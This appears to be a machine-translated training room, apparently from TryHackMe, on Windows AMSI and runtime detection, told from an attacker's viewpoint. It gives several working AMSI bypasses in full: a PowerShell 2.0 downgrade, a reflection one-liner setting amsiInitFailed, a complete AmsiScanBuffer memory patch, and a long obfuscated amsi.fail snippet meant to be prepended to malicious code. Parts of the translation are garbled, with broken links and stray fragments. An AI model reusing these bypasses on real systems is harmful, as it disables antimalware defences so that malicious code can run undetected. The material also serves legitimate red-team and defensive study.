Introduction

随着 PowerShell <3 the Blue Team 的发布,Microsoft 发布了 AMSI(反恶意软件扫描接口),这是一种运行时监控解决方案,旨在阻止和监控持续的威胁。

学习目标

  • 了解运行时检测的目的以及如何检测它们。
  • 学习并应用绕过 AMSI 的技术。
  • 了解常见的缓解措施和潜在的技术替代方案。

运行时检测措施在执行恶意代码时可能会导致许多麻烦和障碍,幸运的是,对于我们攻击者来说,我们可以滥用和利用多种技术和方法来绕过常见的运行时检测解决方案。

该房间将使用多位作者和研究人员的研究成果;所有功劳归各自所有者所有。

在开始本课程之前,建议您熟悉整个操作系统架构,但不要求具备 C# 和 PowerShell 的基本编程知识。

Runtime Detections

执行代码或应用程序时,无论解释器如何,它几乎总是会流经运行时,这在使用 Windows API 调用和与 .NET 交互时最常见。 CLR (Common Language Runtime)DLR (Dynamic Language Runtime) 是 .NET 的运行时,也是使用 Windows 系统时最常见的运行时。不讨论运行时的细节;相反,我们将讨论如何监控它们以及如何检测恶意代码。

运行时检测措施将在运行时执行之前扫描代码,并确定其是否是恶意的,具体取决于其背后的检测措施和技术,此检测可以基于字符串签名、启发式或行为(如果代码被怀疑)。如果是恶意的,它将被分配一个值,如果在指定范围内,它将停止执行,并可能隔离或删除文件/代码。

运行时检测措施与标准防病毒不同,因为它们会直接从内存和运行时进行扫描。同时,防病毒产品还可以利用这些运行时检测来更深入地了解源自代码的调用和挂钩。在某些情况下,防病毒产品可能会使用运行时检测流/源作为其启发法的一部分。

我们将主要关注 [AMSI(**A**nti-**M**alware **S**can **I**nterface)](https://docs.microsoft.com/en-us/ windows/win32/amsi/antimalware-scan-interface-portal) AMSI 是 Windows 自带的运行时检测措施,也是其他产品和解决方案的接口。

AMSI Overview

AMSI(Anti-Malware Scan Interface)是一项 PowerShell 安全功能,允许任何应用程序或服务直接集成到反恶意软件 Defender 中。在 .NET 运行时内执行之前使用 AMSI 扫描有效负载和脚本 Microsoft 表示:“Windows 反恶意软件扫描接口 (AMSI) 是一种多功能接口标准,允许您的应用程序和服务与存在于计算机上的任何反恶意软件产品集成。 AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。”

有关 AMSI 的更多信息,请查看 Windows 文档

AMSI 将根据监控和扫描的响应代码确定其操作,以下是可能的响应代码的列表。

  • AMSI_RESULT_CLEAN = 0
  • AMSI_RESULT_NOT_DETECTED = 1
  • AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
  • AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
  • AMSI_RESULT_DETECTED = 32768

这些响应代码只会在 AMSI 后端或通过第三方实现报告。如果 AMSI 检测到恶意结果,它将停止执行并发送以下错误消息。

AMSIError Response

PS C:Users\Tryhackme> 'Invoke-Hacks'
At line:1 char:1
+ "Invoke-Hacks"
+ ~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) []. ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent

AMSI 完全集成到以下 Windows 组件中,

  • 用户帐户控制,或UAC
    -PowerShell
  • Windows 脚本宿主(wscript 和 cscript)
  • JavaScript 和 VBScript
    -Office VBA 宏

作为攻击者,当针对上述组件时,我们在执行代码或滥用组件时需要注意 AMSI 及其实现。

在下一个任务中,我们将介绍 AMSI 如何工作以及在 Windows 中进行检测背后的技术细节。

AMSI Instrumentation

AMSI 的检测方式可能很复杂,包括多个 DLL 和不同的执行策略,具体取决于检测位置。根据定义,AMSI 只是其他反恶意软件产品的接口;AMSI 将根据具体情况使用多个提供程序 DLL 和 API 调用。正在执行以及在哪一层执行。

AMSI 由“System.Management.Automation.dll”(一个由 Windows 开发的 .NET 程序集)进行检测;根据 Microsoft 文档,“程序集构成了 .NET 的部署、版本控制、重用、激活范围和安全权限的基本单元” .NET 程序集将根据解释器以及是否位于磁盘或内存上来检测其他 DLL 和 API 调用。下图描述了数据流经各层时如何剖析以及 DLL/API 调用是什么正在被仪器化。

img

在上图中,数据将开始流动,具体取决于所使用的解释器(PowerShell/VBScript/等)。当数据沿着模型在每一层流动时,将检测各种 API 调用和接口。了解 AMSI 的完整模型非常重要。 ,但我们可以将其分解为核心组件,如下图所示。

img

注意:仅当从 CLR 执行时从内存加载时才会检测 AMSI。假设磁盘上的 MsMpEng.exe (Windows Defender) 已被检测。

我们的大部分研究和已知的绕过方法都位于 Win32 API 层,操纵 AmsiScanBuffer API称呼。

您可能还会注意到 AMSI 的“其他应用程序”界面,例如 AV 提供商可以从其产品中检测 AMSI。 win32/amsi/antimalware-scan-interface-functions)和 AMSI 流接口


我们可以分解 AMSI PowerShell 检测的代码,以更好地了解其实现方式并检查可疑内容。要查找检测 AMSI 的位置,我们可以使用 InsecurePowerShellCobbr 维护,它是 PowerShell 的 GitHub 分支,删除了安全功能;这意味着我们可以查看比较的提交并观察任何内容。 AMSI 仅在“src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs”下的十二行代码中进行检测,这十二行代码如下所示。

var scriptExtent = scriptBlockAst.Extent;
if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED)
{
var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent);
throw new ParseException(new[] { parseError });
}

if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null)
{
HasSuspiciousContent = true;
}

我们可以利用 AMSI 如何检测的知识以及其他人的研究来创建和使用滥用和逃避 AMSI 或其实用程序的旁路。

PowerShell Downgrade

PowerShell 降级攻击是一个非常容易实现的目标,它允许攻击者修改当前的 PowerShell 版本以删除安全功能。

大多数 PowerShell 会话将从最新的 PowerShell 引擎开始,但攻击者可以通过一行代码手动更改版本,通过将 PowerShell 版本“降级”到 2.0,您可以绕过安全功能,因为这些功能直到版本 5.0 才实现。

该攻击只需要在我们的会话中执行一行代码即可,我们可以使用“-Version”标志来启动一个新的 PowerShell 进程来指定版本 (2)。

PowerShell -Version 2

这种攻击可以在 Unicorn 等工具中被积极利用。

full_attack = '''powershell /w 1 /C "sv {0} -;sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());powershell (gv {5}).value.toString() (\\''''.format(ran1, ran2, ran3, ran1, ran2, ran3) + haha_av + ")" + '"'

由于这种攻击非常容易实现并且技术简单,因此蓝队有多种方法可以检测和减轻这种攻击。

两个最简单的缓解措施是从设备中删除 PowerShell 2.0 引擎并通过应用程序阻止列表拒绝对 PowerShell 2.0 的访问。

PowerShell Reflection

反射允许用户或管理员访问 .NET 程序集并与之交互,根据 Microsoft 文档,“程序集构成了基于 .NET 的应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。”程序集可能看起来很陌生;但是,我们可以通过知道它们以熟悉的格式形成,例如 exe (executable) 和 dll (dynamic-link) 来使它们更加熟悉图书馆)。

PowerShell 反射可能被滥用来修改和识别有价值的 DLL 中的信息。

PowerShell 的 AMSI 实用程序存储在位于“System.Management.Automation.AmsiUtils”中的“AMSIUtils”.NET 程序集中。

Matt Graeber 发布了一行代码来实现使用反射修改和绕过 AMSI 实用程序的目标。这行代码可以在下面的代码块中看到。

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

为了解释代码功能,我们将其分解为更小的部分。

首先,该代码片段将调用反射函数并指定它想要使用“[Ref.Assembly]”中的程序集,然后使用“GetType”获取 AMSI 实用程序的类型。

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

从上一节收集的信息将转发到下一个函数,以使用“GetField”获取程序集中的指定字段。

.GetField('amsiInitFailed','NonPublic,Static')

然后,程序集和字段信息将被转发到下一个参数,以使用“SetValue”将值从“$false”设置为“$true”。

.SetValue($null,$true)

一旦“amsiInitFailed”字段设置为“$true”,AMSI 将使用响应代码进行响应:AMSI_RESULT_NOT_DETECTED = 1

Patching AMSI

AMSI 主要是从“amsi.dll”进行检测和加载的;这可以从我们之前观察到的图表中得到证实,该 dll 可以被滥用并强制指向我们想要的响应代码。我们需要访问响应代码的指针/缓冲区的功能。

“AmsiScanBuffer”容易受到攻击,因为“amsi.dll”在启动时加载到 PowerShell 进程中;我们的会话与该实用程序具有相同的权限级别。

AmsiScanBuffer 将扫描可疑代码的“缓冲区”并将其报告给 amsi.dll 以确定响应,我们可以控制此函数并覆盖。具有干净返回代码的缓冲区。为了识别返回代码所需的缓冲区,我们需要进行一些逆向工程;幸运的是,我们已经完成了获得干净返回代码所需的确切返回代码。回复!

我们将分解由 BC-Security 修改并受 Tal Liberman 启发的代码片段,您可以在此处找到原始代码; common/bypasses.py)。RastaMouse 也有一个用 C# 编写的类似旁路,使用相同的技术;您可以在此处找到代码。

在高层次上,AMSI 修补可以分为四个步骤,

1.获取amsi.dll的句柄
2. 获取AmsiScanBuffer的进程地址
3.修改AmsiScanBuffer的内存保护
4. 将操作码写入AmsiScanBuffer

我们首先需要加载我们想要使用的任何外部库或 API 调用;我们将加载 [GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi- getprocaddress)、GetModuleHandleVirtualProtect来自 kernel32 使用p/invoke

[DllImport(`"kernel32`")] // Import DLL where API call is stored
public static extern IntPtr GetProcAddress( // API Call to import
IntPtr hModule, // Handle to DLL module
string procName // function or variable to obtain
);

[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(
string lpModuleName // Module to obtain handle
);

[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(
IntPtr lpAddress, // Address of region to modify
UIntPtr dwSize, // Size of region
uint flNewProtect, // Memory protection options
out uint lpflOldProtect // Pointer to store previous protection options
);

现在函数已定义,但我们需要使用“Add-Type”加载 API 调用,此 cmdlet 将加载具有正确类型和命名空间的函数,以允许调用函数。

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;

现在我们可以调用 API 函数了,我们可以确定 amsi.dll 所在的位置以及如何访问该函数。首先,我们需要使用 GetModuleHandle 来识别 AMSI 的进程句柄,然后使用该句柄。使用“GetProcAddress”识别“AmsiScanBuffer”的进程地址。

$handle = [Win32.Kernel32]::GetModuleHandle(
'amsi.dll' // Obtains handle to amsi.dll
);
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress(
$handle, // Handle of amsi.dll
'AmsiScanBuffer' // API call to obtain
);

接下来,我们需要修改“AmsiScanBuffer”进程区域的内存保护,我们可以为“VirtualProtect”指定参数和缓冲区地址。

有关参数及其值的信息可以从前面提到的 API 文档中找到。

[UInt32]$Size = 0x5; // Size of region
[UInt32]$ProtectFlag = 0x40; // PAGE_EXECUTE_READWRITE
[UInt32]$OldProtectFlag = 0; // Arbitrary value to store options
[Win32.Kernel32]::VirtualProtect(
$BufferAddress, // Point to AmsiScanBuffer
$Size, // Size of region
$ProtectFlag, // Enables R or RW access to region
[Ref]$OldProtectFlag // Pointer to store old options
);

我们需要指定要使用的内容覆盖缓冲区;指定缓冲区后,可以在此处找到识别该缓冲区的过程。我们可以使用 marshal copy 写入进程。

$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);

[system.runtime.interopservices.marshal]::copy(
$buf, // Opcodes/array to write
0, // Where to start copying in source array
$BufferAddress, // Where to write (AsmiScanBuffer)
6 // Number of elements/opcodes to write
);

在这个阶段,我们应该有一个有效的 AMSI 绕过!应该注意的是,大多数工具、签名和检测都可以并且被精心设计来检测此脚本。

Automating for Fun and Profit

虽然最好使用本房间中显示的先前方法,但攻击者可以使用其他自动化工具来破坏 AMSI 签名或编译绕过。

我们要介绍的第一个自动化工具是 amsi.fail

amsi.fail 将从已知绕过的集合中编译并生成 PowerShell 绕过,从 amsi.fail 中,“AMSI.fail 会生成混淆的 PowerShell 片段,从而破坏或禁用当前的 AMSI。在混淆之前,片段是从一小部分技术/变体中随机选择的。每个片段都会在运行时/请求时进行混淆,以便生成的输出不会共享相同的签名。”

下面是 amsi.fail 中经过混淆的 PowerShell 代码段的示例

$d=$null;$qcgcjblv=[$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).Runtime.InteropServices.Marshal]::AllocHGlobal((9076+7561-7561));$pkgzwpahfwntq="+('lwbj'+'cymh').NORmaliZe([CHar]([byTe]0x46)+[char](111)+[ChAR]([ByTE]0x72)+[chaR](109*73/73)+[ChAR]([ByTE]0x44)) -replace [char]([bytE]0x5c)+[Char](112*106/106)+[char]([bYte]0x7b)+[chAR]([BYtE]0x4d)+[CHAR](110+8-8)+[CHAr]([BytE]0x7d)";[Threading.Thread]::Sleep(1595);[Ref].Assembly.GetType("$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).$(('Mãnâge'+'ment').NOrMalIzE([ChaR](70)+[chAR](111*105/105)+[cHAR](114+29-29)+[chaR]([bYtE]0x6d)+[CHAR](22+46)) -replace [cHar]([BytE]0x5c)+[CHar](112*11/11)+[chAR](123+34-34)+[CHAR](77*13/13)+[cHaR]([bYTe]0x6e)+[cHAR]([bYte]0x7d)).$(('Àutõmâtî'+'ôn').NoRMAlIZe([CHar]([bYTE]0x46)+[Char]([byte]0x6f)+[cHAR]([BYtE]0x72)+[cHAR](109+105-105)+[ChAr](68*28/28)) -replace [chAR]([BytE]0x5c)+[cHAr]([BYTE]0x70)+[CHAR]([BytE]0x7b)+[char]([byte]0x4d)+[CHaR]([BYte]0x6e)+[chaR](125+23-23)).$([CHAR]([ByTe]0x41)+[CHAr]([bYtE]0x6d)+[chaR](115*46/46)+[cHar]([BYTe]0x69)+[cHaR](85)+[CHAr](116)+[chAr](105*44/44)+[cHAr](108*64/64)+[chAr]([BYte]0x73))").GetField("$(('àmsí'+'Sess'+'íón').norMALiZE([CHaR](70*49/49)+[chAr](87+24)+[ChaR]([bytE]0x72)+[chAr](109)+[chAR](68+43-43)) -replace [CHAr](92)+[chAr]([byTe]0x70)+[CHAr]([bYTE]0x7b)+[cHAr](77*71/71)+[CHar]([bYtE]0x6e)+[char](125+49-49))", "NonPublic,Static").SetValue($d, $null);[Ref].Assembly.GetType("$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).$(('Mãnâge'+'ment').NOrMalIzE([ChaR](70)+[chAR](111*105/105)+[cHAR](114+29-29)+[chaR]([bYtE]0x6d)+[CHAR](22+46)) -replace [cHar]([BytE]0x5c)+[CHar](112*11/11)+[chAR](123+34-34)+[CHAR](77*13/13)+[cHaR]([bYTe]0x6e)+[cHAR]([bYte]0x7d)).$(('Àutõmâtî'+'ôn').NoRMAlIZe([CHar]([bYTE]0x46)+[Char]([byte]0x6f)+[cHAR]([BYtE]0x72)+[cHAR](109+105-105)+[ChAr](68*28/28)) -replace [chAR]([BytE]0x5c)+[cHAr]([BYTE]0x70)+[CHAR]([BytE]0x7b)+[char]([byte]0x4d)+[CHaR]([BYte]0x6e)+[chaR](125+23-23)).$([CHAR]([ByTe]0x41)+[CHAr]([bYtE]0x6d)+[chaR](115*46/46)+[cHar]([BYTe]0x69)+[cHaR](85)+[CHAr](116)+[chAr](105*44/44)+[cHAr](108*64/64)+[chAr]([BYte]0x73))").GetField("$([chAR]([byTe]0x61)+[Char](109+52-52)+[cHar](46+69)+[CHar]([byTe]0x69)+[CHAR]([BYTe]0x43)+[Char]([ByTe]0x6f)+[chAR](110)+[chaR](116*47/47)+[cHar](101)+[CHAR]([bYte]0x78)+[CHaR]([ByTE]0x74))", "NonPublic,Static").SetValue($null, [IntPtr]$qcgcjblv);

您可以将此绕过方法附加到恶意代码的开头,就像以前的绕过方法一样,或者在执行恶意代码之前在同一会话中运行它。


AMSITrigger 允许攻击者自动识别标记签名的字符串以修改和破坏它们。这种绕过 AMSI 的方法比其他方法更加一致,因为您可以使文件本身变得干净。 。

使用 amsitrigger 的语法相对简单;您需要指定文件或 URL 以及扫描文件的格式,下面是运行 amsitrigger 的示例。

AMSI触发示例

``

C:\Users\Tryhackme\Tools>AmsiTrigger_x64.exe -i "bypass.ps1" -f 3
$MethodDefinition = "

[DllImport(`"kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, 'AmsiScanBuffer');
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);

[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

签名以红色突出显示;您可以通过编码、混淆等方式破坏这些签名。

Conclusion

运行时检测和 AMSI 只是针对强化或最新设备采用技术时可能面临的众多检测和缓解措施之一。

这些旁路可以单独使用,也可以与其他漏洞和技术一起使用,以最终规避所有问题。

将这些工具放在你的后兜里很重要,你不能仅仅依靠它们来逃避检测,但你可以使用所讨论的技术来绕过并阻止许多检测。